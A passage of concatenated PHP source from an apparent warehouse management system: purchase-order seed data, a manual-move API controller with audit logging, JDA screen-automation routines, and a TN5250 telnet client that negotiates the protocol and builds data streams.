"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0002',
"quantity_ordered"=>5,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0003',
"quantity_ordered"=>20,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0004',
"quantity_ordered"=>12,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0005',
"quantity_ordered"=>6,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0006',
"quantity_ordered"=>1,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0007',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0008',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0009',
"quantity_ordered"=>5,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0010',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0011',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0012',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0013',
"quantity_ordered"=>5,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0014',
"quantity_ordered"=>1,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0015',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0016',
"quantity_ordered"=>11,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0017',
"quantity_ordered"=>3,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0018',
"quantity_ordered"=>1,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0019',
"quantity_ordered"=>7,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0020',
"quantity_ordered"=>1,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0021',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0022',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0023',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0024',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0025',
"quantity_ordered"=>1,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0026',
"quantity_ordered"=>7,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0027',
"quantity_ordered"=>1,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0028',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0029',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0030',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>1,
"sku"=>'NGM0031',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 1
),
array(
"po_id"=>2,
"sku"=>'NGM0001',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 2
),
array(
"po_id"=>2,
"sku"=>'NGM0023',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 2
),
array(
"po_id"=>2,
"sku"=>'NGM0021',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 2
),
array(
"po_id"=>3,
"sku"=>'NGM0001',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 3
),
array(
"po_id"=>3,
"sku"=>'NGM0023',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 3
),
array(
"po_id"=>3,
"sku"=>'NGM0021',
"quantity_ordered"=>10,
"quantity_delivered"=>0,
"receiver_no" => 3
),
);
foreach ($data as $d) {
PurchaseOrderDetail::create($d);
}
}
}<file_sep><?php
class ApiManualMove extends BaseController {
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Insert record
* @param array $data array of data
* @return boolean
*/
public function insertRecord() {
try {
DB::beginTransaction();
CommonHelper::setRequiredFields(array('from_slot', 'data', 'to_slot'));
$fromSlot = Request::get('from_slot');
$toSlot = Request::get('to_slot');
$data = json_decode(Request::get('data'), true);
foreach ($data as $value)
{
$manualMove = new ManualMove;
$manualMove->from_slot = $fromSlot;
$manualMove->upc = $value['upc'];
$manualMove->quantity = $value['quantity'];
$manualMove->to_slot = $toSlot;
$manualMove->sync_by = Authorizer::getResourceOwnerId();
$saved = $manualMove->save();
if($saved){
$manual_move = "classes/manual_move.php {$manualMove->id}";
CommonHelper::execInBackground($manual_move,'manual_move');
}
//audit trail
self::auditTrail($fromSlot, $value, $toSlot);
}
DB::commit();
return CommonHelper::return_success();
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
public function auditTrail($fromSlot, $data, $toSlot)
{
//Audit trail
$user_id = Authorizer::getResourceOwnerId();
// $data_after = 'Inserted manual move with mts_number ' . $mts_number . ' with box total of ' . $no_of_boxes . ' in box: ' . $box_code . ' and has been added by Stock Piler # '. $user_id;
$data_after = 'Moved upc: ' . $data['upc'] . ' with quantity of ' . $data['quantity'] . ' from slot ' . $fromSlot . ' to ' . $toSlot;
$arrParams = array(
'module' => Config::get("audit_trail_modules.manual_move"),
'action' => Config::get("audit_trail.save_manual_move"),
'reference' => 'Upc #' . $data['upc'],
'data_before' => '',
'data_after' => $data_after,
'user_id' => $user_id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Get Brands
*
* @example www.example.com/api/{version}/department/brands
* @return array of brands
*/
public static function getInfo()
{
try {
CommonHelper::setRequiredFields(array('from_slot', 'upc',));
$fromSlot = Request::get('from_slot');
$upc = Request::get('upc');
$info = ManualMove::getDB2Info($fromSlot, $upc);
$info = (!empty($info)) ? $info[0] : [];
return CommonHelper::return_success_message($info);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
}<file_sep><?php
include_once("receive_po.php");
include_once("close_po.php");
include_once("putaway_reserve.php");
include_once("letdown.php");
include_once("picklist.php");
include_once("palletizing_step1.php");
include_once("palletizing_step2.php");
include_once("palletizing_step3.php");
include_once("palletizing_step4.php");
include_once("palletizing_step5.php");
include_once("palletizing_step6.php");
include_once("store_receiving.php");
class jdaModules
{
public function purchaseOrderReceiving()
{
$receivePO = new poReceiving();
$receiver_nos = $receivePO->getReceiverNo();
print_r($receiver_nos);
if(! empty($receiver_nos) )
{
$receivePO->enterUpToDockReceipt();
foreach($receiver_nos as $receiver) {
$validate = $receivePO->enterReceiverNumber($receiver);
if($validate) $receivePO->enterPOForm($receiver);
}
}
else {
echo " \n No rows found!. \n";
// return $receivePO->home();
}
// return $receivePO->home();
return $receivePO->logout();
}
public function purchaseOrderClosing()
{
$closePO = new poClosing();
$receiver_nos = $closePO->getReceiverNo();
print_r($receiver_nos);
if(! empty($receiver_nos) )
{
$closePO->enterUpToDockReceipt();
foreach($receiver_nos as $receiver) {
$validate = $closePO->enterReceiverNumber($receiver);
if($validate)
{
$closePO->enterPOForm($receiver);
$closePO->enterPoReceiptDetail();
$closePO->enterPoReceiptDetailBySKU();
//TODOS: need validation if qty is more than
$closePO->enterQtyPerItem($receiver);
$closePO->enterClosingPo();
$closePO->enterJobName($receiver);
}
}
}
else {
echo " \n No rows found!. \n";
}
$closePO->logout();
}
public function putAwayReserve()
{
$putawayReserve = new putawayReserve();
$putawayReserve->enterUpToManualMoves();
$skus = $putawayReserve->getSkus();
$params = array();
if(! empty($skus) )
{
foreach($skus as $value)
{
$params = array(
'toSlot' => $value['slot_id'],
'sku' => $value['sku'],
'quantity' => $value['quantity']
);
$putawayReserve->enterInventoryMovement();
$putawayReserve->enterForm($params);
}
}
$putawayReserve->logout();
}
public function letdownClosing()
{
$letdown = new letdown();
$letdown->enterUpToLetdownMenu();
$document_nos = $letdown->getDocumentNo();
print_r($document_nos);
if(! empty($document_nos) )
{
$params = array();
foreach($document_nos as $document_no) {
$letdown->enterEnterApproveLetdowns();
$params = array('document_number' => $document_no);
$letdown->enterApprovedLetdownQuantitiesForm();
$validate = $letdown->enterForm($params);
var_dump($validate);
if($validate)
{
$letdown->enterUpdateDetail();
$validateDetail = $letdown->enterFormDetails($params);
var_dump($validateDetail);
if($validateDetail) $letdown->submit($params);
}
}
}
$letdown->logout();
}
public function picklistClosing()
{
$picklist = new picklist();
$getPicklist = $picklist->getPickNumber();
print_r($getPicklist);
if(! empty($getPicklist) )
{
$params = array();
$picklist->enterUpToApprovePicksIntoCartons();
foreach($getPicklist as $detail)
{
$params = array(
'document_number' => $detail['move_doc_number'],
'store_number'=> $detail['store_code'],
'carton_code'=> $detail['box_code']
);
$validate = $picklist->enterForm($params);
if($validate)
{
$picklist->enterUpdateDetail();
$validateDetail = $picklist->enterFormDetails($detail);
if($validateDetail)
{
$picklist->save($params);
}
}
}
}
$picklist->logout();
}
public function maintainingCartonHeader()
{
$carton = new palletizingStep1();
$carton->enterUpToCartonHeaderMaintenance();
// $getBoxes = array("ASD110001");
$getBoxes = $carton->getBoxes();
print_r($getBoxes);
if(! empty($getBoxes) )
{
foreach($getBoxes as $box) {
$carton->save($box);
}
}
return $carton->logout();
}
public function maintainingPalletHeader()
{
$pallete = new palletizingStep2();
$pallete->enterUpToPalletHeaderMaintenance();
// $getPallets = array("PLT0001", "PLT0002");
$getPallets = $pallete->getPallets();
if(! empty($getPallets) )
{
foreach($getPallets as $pallet) {
$pallete->save($pallet);
}
}
return $pallete->logout();
}
public function maintainingLoadHeader()
{
$loadHeader = new palletizingStep3();
$loadHeader->enterUpToLoadHeaderMaintenance();
// $getLoads = array('LOAD00010', 'LOAD00011');
$getLoads = $loadHeader->getLoads();
if(! empty($getLoads) )
{
foreach($getLoads as $load)
{
$validate = $loadHeader->enterLoadControlNumber($load);
if($validate)
{
$validateDetail = $loadHeader->enterDetailForm($load);
if($validateDetail)
{
//get all location
$getLocations = $loadHeader->getLocations($load);
$getIds = array();
foreach($getLocations as $location)
{
$isLocationValid = $loadHeader->enterLocation($location);
// if($isLocationValid) $loadHeader->enterAnotherLocation();
$getIds[] = $location['id'];
}
$loadHeader->save($getIds);
}
}
}
}
return $loadHeader->logout();
}
public function assigningCartonToPallet()
{
$cartonToPallet = new palletizingStep4();
$cartonToPallet->enterUpToSingle();
// $getPallets = array('PLT000001', 'PLT000002');
$getPallets = $cartonToPallet->getPallets();
if(! empty($getPallets) )
{
foreach($getPallets as $pallet)
{
$validate = $cartonToPallet->enterPalletId($pallet);
if($validate)
{
// $cartons = array('TXT000001', 'TXT000006');
$cartons = $cartonToPallet->getCartons($pallet);
$getIds = array();
foreach($cartons as $carton)
{
$cartonToPallet->enterCartonId($carton);
$getIds[] = $carton['id'];
}
$cartonToPallet->save($getIds, $pallet);
}
}
}
return $cartonToPallet->logout();
}
public function loading()
{
$loading = new palletizingStep5();
$loading->enterUpToSingle();
// $getPallets = array('PLT000001', 'PLT000002');
$getLoads = $loading->getLoads();
if(! empty($getLoads) )
{
foreach($getLoads as $load)
{
$validate = $loading->enterBuildSingle($load);
if($validate)
{
$getPallets = $loading->getPallets($load);
$ids = array();
foreach($getPallets as $pallet)
{
$isValidPallet = $loading->enterPalletId($pallet);
if($isValidPallet) $loading->enterWeight($pallet);
$ids[] = $pallet['id'];
}
$loading->save($ids, $load);
}
}
}
$loading->logout();
}
public function shipping()
{
$shipping = new palletizingStep6();
$shipping->enterUpToShippingAgain();
$getLoads = $shipping->getLoads();
// $getLoads = array('LOAD00002');
if(! empty($getLoads) )
{
foreach($getLoads as $load)
{
$validate = $shipping->enterLoadId($load);
if($validate) $shipping->save($load);
}
}
$shipping->logout();
}
public function transfers()
{
$store = new storeReceiving();
$store->enterUpToReceiveTransferCartons();
$getBoxes = $store->getBoxes();
if(! empty($getBoxes) )
{
foreach($getBoxes as $box)
{
$store->enterCartonReceiving();
$validate = $store->enterCartonId($box['box_code'], $box['store_code']);
if($validate)
{
$validateDetail = $store->enterForm($box['box_code'], $box['store_code']);
if($validateDetail) $store->save($box['box_code'], $box['store_code']);
}
}
}
$store->logout();
}
}<file_sep><?php
ini_set('max_execution_time', 0);
ini_set('display_errors', 'On');
error_reporting(E_ALL & ~E_NOTICE);
set_time_limit(0);
include_once("ebcdic.php");
class jdatelnet {
/**
* telnet connection
*
* @var resource
*/
var $fp;
/**
* IP Address of the jda telnet server
*
* @var unknown_type
*/
var $ip = 'jdaprod2.rgoc.com.ph';
/**
* Message generated by the scripts. Can be used to return messages resulting from keystroke entries
*
* @var string
*/
var $message = '';
/**
* Contains the data returned by the last write command with getresponse = true
*
* @var unknown_type
*/
var $stream = '';
var $completeStream = '';
var $completeKeys = '';
# for testing purposes
var $streamFile = "stream.log";
var $streamCtr = 0;
/**
* Set to True to output all streams returned by write() where getresponse = true
*
* @var bool
*/
var $screen = "";
var $pos = 0;
var $screencol = 132;
var $screenrow = 27;
//preserve the sequence of keys from input
var $keyststack = "";
var $tablestack = "";
var $timeout = 300; // set to 5 minutes
var $debugLvl = 0; // Debug Level 0 for production, debugLvl 1 for output
var $showAfter = false;
/**
* Contsructor. Establishes telnet session
*
* @param string $ip
* @param int $id terminal id values from 1 to 5 default to 5
* @param int $time_out
* @return jdatelnet
*/
function jdatelnet($ip=null,$id=5,$time_out=30){
# 5250 codes
define("CLEAR_UNIT",0x40);
define("WRITE_TO_DISPLAY",0x11);
define("WRITE_STRUCTURED_FIELD",0xF3);
define("WRITE_TO_DISPLAY_STRUCTURED_FIELD",0x15);
define("READ_MDT_FIELDS",0x52);
define("ESC_CODE",0x04);
define("SAVE_SCREEN_OP",0x04);
define("READ_SCREEN_OP",0x08);
# Order Codes
define("SOH",0x01);
define("SBA",0x11);
define("IC",0x13);
define("RA",0x02);
define("SF",0x1D);
define("RU",0x04);
define("SAVE_SCREEN",0x02);
define("READ_SCREEN",0x62);
define("SCR_ROWS",27);
define("SCR_COLS",132);
if(!is_null($ip)) $this->ip = $ip;
$linkid = uniqid();
$this->fp = stream_socket_client("tcp://".$this->ip.":23/$linkid",$errno,$errstr);
#$this->fp = fsockopen($this->ip,23, $errno,$errstr);
if(!$this->fp){
// did not connect so do not do anything
echo " did not connect $errno,$errstr";
return $this->fp;
}
stream_set_timeout($this->fp, 10);
## Initialize the Screen
$this->screen = "";
for($row = 0; $row<SCR_ROWS; $row++)
for($col = 0; $col<SCR_COLS; $col++)
$this->screen .=" ";
# stream_set_timeout($this->fp,$time_out);
# for testing purposes only
$stamp = date("z_Hi");
$this->streamFile = "stream_$stamp.log";
$this->streamCtr = 0;
$this->negotiate($id);
sleep(3);
# get the first screen from server.
$this->getResponse();
// clear the keystrokes logged during initialization
$this->completeKeys = '';
$this->keys = array(
'F1' => chr(0x31)
,'F2' => chr(0x32)
,'F3' => chr(0x33)
,'F4' => chr(0x34)
,'F5' => chr(0x35)
,'F6' => chr(0x36)
,'F7' => chr(0x37)
,'F8' => chr(0x38)
,'F9' => chr(0x39)
,'F10' => chr(0x3A)
,'F11' => chr(0x3B)
,'F12' => chr(0x3C)
,'F13' => chr(0x3D)
,'F14' => chr(0x3E)
,'F15' => chr(0x3F)
,'F16' => chr(0x40)
,'F17' => chr(0x41)
,'F18' => chr(0x42)
,'F19' => chr(0x43)
,'F20' => chr(0x44)
,'F21' => chr(0x45)
,'F22' => chr(0x46)
,'F23' => chr(0x47)
,'F24' => chr(0x48)
,'ROLLUP' => chr(0xF5)
,'ROLLDOWN' => chr(0xF4)
,'UP' => chr(27).'[A'
,'DOWN' => chr(27).'[B'
,'REFRESH' => chr(27).'5'
,'DELETE' => chr(127)
,'TAB' => chr(11)
,'BACKTAB' => chr(27)."\t"
,'ENTER' => chr(0xF1)
,'FIELDEXIT' => chr(27).'x'
);
$this->keys = array_flip($this->keys);
define('F1',chr(0x31));
define('F2',chr(0x32));
define('F3',chr(0x33));
define('F4',chr(0x34));
define('F5',chr(0x35));
define('F6',chr(0x36));
define('F7',chr(0x37));
define('F8',chr(0x38));
define('F9',chr(0x39));
define('F10',chr(0x3A));
define('F11',chr(0x3B));
define('F12',chr(0x3C));
define('F13',chr(0x3D));
define('F14',chr(0x3E));
define('F15',chr(0x3F));
define('F16',chr(0x41));
define('F17',chr(0x42));
define('F18',chr(0x43));
define('F19',chr(0x44));
define('F20',chr(0x45));
define('F21',chr(0x46));
define('F22',chr(0x47));
define('F23',chr(0x48));
define('F24',chr(0x49));
define('ROLLUP',chr(0xF5));
define('ROLLDOWN',chr(0xF4));
define('ROLLLEFT',chr(0xD9));
define('ROLLRIGHT',chr(0xDA));
define('REFRESH',chr(27).'5');
define('DELETE',chr(127));
define('TAB',"\t");
define('ENTER',chr(0xF1));
define('BACKTAB',chr(27)."\t");
define('FIELDEXIT',chr(27)."x");
}
function negotiate($id){
define("DONEWENV","ff fd 27");
define("DONEWTERM","ff fd 18");
define("WILLNEWENV",chr(0xff).chr(0xfb).chr(0x27));
define("WILLTERMTYPE",chr(0xff).chr(0xfb).chr(0x18));
define("SUBNEWENV","ff fa 27");
define("SUBTERMTYPE","ff fa 18 01 ff f0");
define("DOEOR","ff fd 19");
define("WILLEOR","ff fb 19");
define("DOBIN","ff fd 00");
define("WILLBIN","ff fb 00");
#ff fd 27 ff fd 18 waiting HS5
#ff fa 27 01 03 49 42 4d 52 53 45 45 44 33 16 b2 a8 a1 6e ee 61 00 03 ff f0 waiting HS8
#ff fa 18 01 ff f0
$requisites = 0;
while($requisites < 3){
#echo "reading server\n";
$server = fread($this->fp,8092);
$server = my5250tohex($server);
#echo "$server\n";
$response = "";
if(preg_match("%".DONEWENV."%",$server,$server_parts)) $response.= WILLNEWENV;
if(preg_match("%".DONEWTERM."%",$server,$server_parts)) {
# delay term type after ENV SUB OPTION
}
if(preg_match("%".SUBNEWENV."%",$server,$server_parts)) {
$id = $id % 6;
// $response .= hexto5250("fffa2700005445524d0149424d2d333437372d4643004445564e414d450152415641474".$id."fff0"); # tn5250
# Remove device name
# when their is no device name jda will automatically create one
$response .= hexto5250("fffa2700005445524d0149424d2d333437372d4643004445564e414d45"); # tn5250
$response.= WILLTERMTYPE;
}
if(preg_match("%".SUBTERMTYPE."%",$server,$server_parts)) {
$response.= hexto5250("fffa180049424d2d333437372d4643fff0");
$requisites++; # this is one of the 3 requisites
}
if(preg_match("%".DOEOR."%",$server,$server_parts)) {
# HS8: Will End of Record
$response .= chr(0xff).chr(0xfb).chr(0x19);
# HS9: Do End of Record
$response .=chr(0xff).chr(0xfd).chr(0x19);
$requisites++; # this is one of the 3 requisites
}
if(preg_match("%".WILLEOR."%",$server,$server_parts)) {
# OK good, no need to respond;
}
if(preg_match("%".DOBIN."%",$server,$server_parts)) {
# HS10: Will Binary Transmission
$response.=chr(0xff).chr(0xfb).chr(0x00);
# HS11: Do Binary Transmission
$response.=chr(0xff).chr(0xfd).chr(0x00);
$requisites++; # this is one of the 3 requisites
}
if(preg_match("%".WILLBIN."%",$server,$server_parts)) {
# ok no need to respond
}
#echo "writing ". my5250tohex($response)." requisites $requisites\n";
$this->write($response);
}
# peek one more time
#$peek = stream_socket_recvfrom($this->fp, 1500, STREAM_PEEK);
#$peek = my5250tohex($peek);
#echo "peeked $peek \n";
#if(preg_match("%".SUBNEWENV."%",$peek,$peek_parts)) {
#$server = stream_get_line($this->fp,8192, chr(0xff). chr(0xf0));
# $server = my5250tohex($server);
# echo "$server\n";
#}
}
/**
* login to jda application and specify library
*
* @param string $username
* @param string $password
* @param string $env
* @return bool
*/
function login($username,$password,$env=''){
if($this->debugLvl > 1) echo "\nLogging in\n";
// login
$credentials[] = array($username,6,53);
$credentials[] = array($password,7,53);
$this->write5250($credentials,ENTER,true,3);
if($this->debugLvl > 1) echo "\nLogged in\n";
}
/**
* Write a 5250 data stream
*/
function write5250($words,$aid=ENTER,$getresponse=false,$delayresponse=0){
$aid_row_byte = chr(FLOOR($this->pos/SCR_COLS));
$aid_col_byte = chr($this->pos % SCR_COLS);
$order_code_sba = chr(0x11);
$data_string = "";
if(is_array($words)){
foreach($words as $word){
if(is_array($word)){
$string = myasciitoebcdic($word[0]);
if($this->debugLvl > 1) {
echo "converted string ";
print_r(urlencode($string));
echo "\n data string ";
}
$row_byte = chr($word[1]);
$col_byte = chr($word[2]);
$data_string .= $order_code_sba; // Write to Display
$data_string .= $row_byte;
$data_string .= $col_byte;
$data_string .= $string;
$aid_row_byte = $row_byte;
$aid_col_byte = chr($word[2] + strlen($string));
}
}
}
$header="";
$length_byte_1=chr(0);
$length_byte_2=chr(0);
$record_type_byte_1 = chr(0x12);
$record_type_byte_2 = chr(0xA0);
$flags_byte_1 = chr(0x00);
$flags_byte_2 = chr(0x00);
$var_rec_length = chr(0x04);
$sna_flags = chr(0x00);
$reserved_field = chr(0x00);
$operation_code = chr(0x03);
$attention_identifier = $aid;
$escape_code = chr(0x04);
$end_of_record_byte_1 = chr(0xff);
$end_of_record_byte_2 = chr(0xef);
$binary_string = $record_type_byte_1 . $record_type_byte_2 . $flags_byte_1 . $flags_byte_2 . $var_rec_length .$sna_flags . $reserved_field ;
$binary_string .= $operation_code . $aid_row_byte . $aid_col_byte . $attention_identifier;
$binary_string .= $data_string;
$binary_string .= $end_of_record_byte_1;
$binary_string .= $end_of_record_byte_2;
$length = strlen($binary_string);
$length_byte_1 = chr(floor($length/256));
$length_byte_2 = chr($length%256);
$binary_string = $length_byte_1 . $length_byte_2 . $binary_string;
$this->write($binary_string,$getresponse,$delayresponse);
}
function reply_wsf_query(){
$reply = "004712a0000004000000000088003ad9708006000101000000000000000000000000000000000001f3f4f7f700f0f002000000615000ffffffff000000233100000000000000000000ffef";
$binary_string = hexto5250($reply);
$this->write($binary_string,true);
if($this->debugLvl > 0) echo "\nreplied to wsf\n";
}
function reply_save_screen(){
$header="";
$length_byte_1=chr(0);
$length_byte_2=chr(0);
$record_type_byte_1 = chr(0x12);
$record_type_byte_2 = chr(0xA0);
$flags_byte_1 = chr(0x00);
$flags_byte_2 = chr(0x00);
$var_rec_length = chr(0x04);
$sna_flags = chr(0x00);
$reserved_field = chr(0x00);
$operation_code = chr(0x04); # SAVE SCREEN
$restore_order_code = chr(0x12);
$escape_code = chr(0x04);
$clear_unit = chr(0x40);
$end_of_record_byte_1 = chr(0xff);
$end_of_record_byte_2 = chr(0xef);
$binary_string = $record_type_byte_1 . $record_type_byte_2 . $flags_byte_1 . $flags_byte_2 . $var_rec_length .$sna_flags . $reserved_field ;
$binary_string .= $operation_code . $escape_code. $restore_order_code;
$binary_string .= $escape_code . $clear_unit;
$binary_string .= $end_of_record_byte_1;
$binary_string .= $end_of_record_byte_2;
$length = strlen($binary_string);
$length_byte_1 = chr(floor($length/256));
$length_byte_2 = chr($length%256);
$binary_string = $length_byte_1 . $length_byte_2 . $binary_string;
$this->write($binary_string,true);
if($this->debugLvl > 0) echo "\nreplied to save\n";
}
function reply_read_screen(){
$header="";
$length_byte_1=chr(0);
$length_byte_2=chr(0);
$record_type_byte_1 = chr(0x12);
$record_type_byte_2 = chr(0xA0);
$flags_byte_1 = chr(0x00);
$flags_byte_2 = chr(0x00);
$var_rec_length = chr(0x04);
$sna_flags = chr(0x00);
$reserved_field = chr(0x00);
$operation_code = chr(0x00); # NO OPERATION
$restore_order_code = chr(0x12);
$row_add_byte = chr(0x20);
$col_add_byte = chr(0x22);
$aid_help = chr(0xF3);
$end_of_record_byte_1 = chr(0xff);
$end_of_record_byte_2 = chr(0xef);
$binary_string = $record_type_byte_1 . $record_type_byte_2 . $flags_byte_1 . $flags_byte_2 . $var_rec_length .$sna_flags . $reserved_field ;
$binary_string .= $operation_code . $row_add_byte. $col_add_byte; # . $aid_help;
$binary_string .= myasciitoebcdic($this->screen);
$binary_string .= $end_of_record_byte_1;
$binary_string .= $end_of_record_byte_2;
$length = strlen($binary_string);
$length_byte_1 = chr(floor($length/256));
$length_byte_2 = chr($length%256);
$binary_string = $length_byte_1 . $length_byte_2 . $binary_string;
$this->write($binary_string,true);
if($this->debugLvl > 0) echo "\nreplied to read\n";
}
/**
* Write to the telnet session. pass $getresponse=true if you want the results of the write operation to be written to jdatelnet::stream.
*
* @param unknown_type $str
* @param unknown_type $getresponse
*/
function write($str,$getresponse=false,$delayresponse=0){
$this->completeKeys .= $str;
if(!$this->fp){
// while the time away cuz no connection
echo "no connection";
}
else{
fwrite($this->fp,$str);
if($getresponse && $delayresponse>0) sleep($delayresponse);
if($getresponse) {
$this->getResponse();
if($this->debugLvl >= 1) $this->debugOutput($str);
}
}
}
/**
* getResponse processes the responses from the TN5250 connection
*
*
*
*
*/
function getResponse(){
if($this->debugLvl > 1) echo "\ngetting response \n";
$start = time();
$passctr = 0;
if($this->fp)
do{
$data = "";
# trying to read per packet instead of input by matching the EOR to FF EF
if($this->debugLvl > 0) echo "finding ff ef\n";
$data .= stream_get_line($this->fp,8192, chr(0xff). chr(0xef));
$data .= chr(0xff). chr(0xef);
if($this->debugLvl > 0) echo "found ff ef\n";
# process the data
$length = strlen($data);
if($this->debugLvl > 0) echo "\ngot response $length bytes\n";
if($length > 0){
$this->completeStream .= $this->stream = $data;
$this->streamCtr++;
# for testing purposes only
#file_put_contents($this->streamFile,$this->streamCtr."\n",FILE_APPEND);
#$meta = stream_get_meta_data($this->fp);
#$metadata = print_r($meta,true);
#file_put_contents($this->streamFile,$metadata,FILE_APPEND);
#file_put_contents($this->streamFile,my5250tohex($this->stream)."\n",FILE_APPEND);
#file_put_contents($this->streamFile,"--------------------------------\n",FILE_APPEND);
$this->runCommands($data);
}
else{
if($this->debugLvl > 1) echo "\ngot no response \n";
}
// check if more to read
$read = array($this->fp);
$write = NULL;
$except = NULL;
if (false === ($num_changed_streams = stream_select($read, $write, $except, 1))) {
/* Error handling */
} elseif ($num_changed_streams > 0) {
/* At least on one of the streams something interesting happened */
if($this->debugLvl > 0) echo "\nstream needs to be read\n";
#$this->getResponse(); # this is recursing, could be a problem
}
# update meta to get the number of unread bytes.
$meta = stream_get_meta_data($this->fp);
# count the number of passes
$passctr++;
}while($meta['unread_bytes'] > 0);
}
function saveScreen(){
$header="";
$length_byte_1=chr(0);
$length_byte_2=chr(0);
$record_type_byte_1 = chr(0x12);
$record_type_byte_2 = chr(0xA0);
$flags_byte_1 = chr(0x00);
$flags_byte_2 = chr(0x00);
$var_rec_length = chr(0x04);
$sna_flags = chr(0x00);
$reserved_field = chr(0x00);
$operation_code = chr(0x04);
$order_code = chr(0x02);
$escape_code = chr(0x04);
$end_of_record_byte_1 = chr(0xff);
$end_of_record_byte_2 = chr(0xef);
$binary_string = $record_type_byte_1 . $record_type_byte_2 . $flags_byte_1 . $flags_byte_2 . $var_rec_length .$sna_flags . $reserved_field ;
$binary_string .= $operation_code . $escape_code. $order_code;
$binary_string .= $end_of_record_byte_1;
$binary_string .= $end_of_record_byte_2;
$length = strlen($binary_string);
$length_byte_1 = chr(floor($length/256));
$length_byte_2 = chr($length%256);
$binary_string = $length_byte_1 . $length_byte_2 . $binary_string;
$this->write($binary_string,false);
}
function screen_write($string){
$ascii = myebcdictoascii($string);
$length = strlen($string);
for($i = 0;$i<$length;$i++){
$this->screen[$this->pos++] = $ascii[$i];
}
return;
}
function screen_write_to_pos($char,$pos){
$ascii = myebcdictoascii($char);
for($i = $this->pos;$i<$pos;$i++){
$this->screen[$i] = $ascii;
}
$this->pos = $i;
}
function set_pos($row,$col){
$this->pos = ($row * SCR_COLS) + $col;
if($this->debugLvl > 0) {
echo "\n Set pos to $row,$col or".$this->pos."\n";
}
}
function process_order_code(&$stream,&$idx){
$wrow = 0;
$wcol = 0;
$not_done = true;
$length = strlen($stream);
do{
// get order code
$order_code = ord($stream[$idx++]);
if($this->debugLvl > 1) echo "\n processing order 0x".dechex($order_code)."\n";
switch($order_code){
case SOH:
if($this->debugLvl > 1) echo "\n processing order 0x".dechex($order_code)."\n";
// get length
$hdr_length = ord($stream[$idx++]);
$hdr_variable = substr($stream,$idx,$hdr_length);
//skip header bytes;
$idx+= $hdr_length;
break;
case SBA:
if($this->debugLvl > 1) echo "\n processing order 0x".dechex($order_code)."\n";
$wrow = ord($stream[$idx++]);
$wcol = ord($stream[$idx++]);
$this->pos = (SCR_COLS * $wrow) + $wcol;
// Save to Keystack
$this->keystack.= substr($stream,$idx-3,3);
break;
case IC:
$wrow = ord($stream[$idx++]);
$wcol = ord($stream[$idx++]);
$this->set_pos($wrow,$wcol);
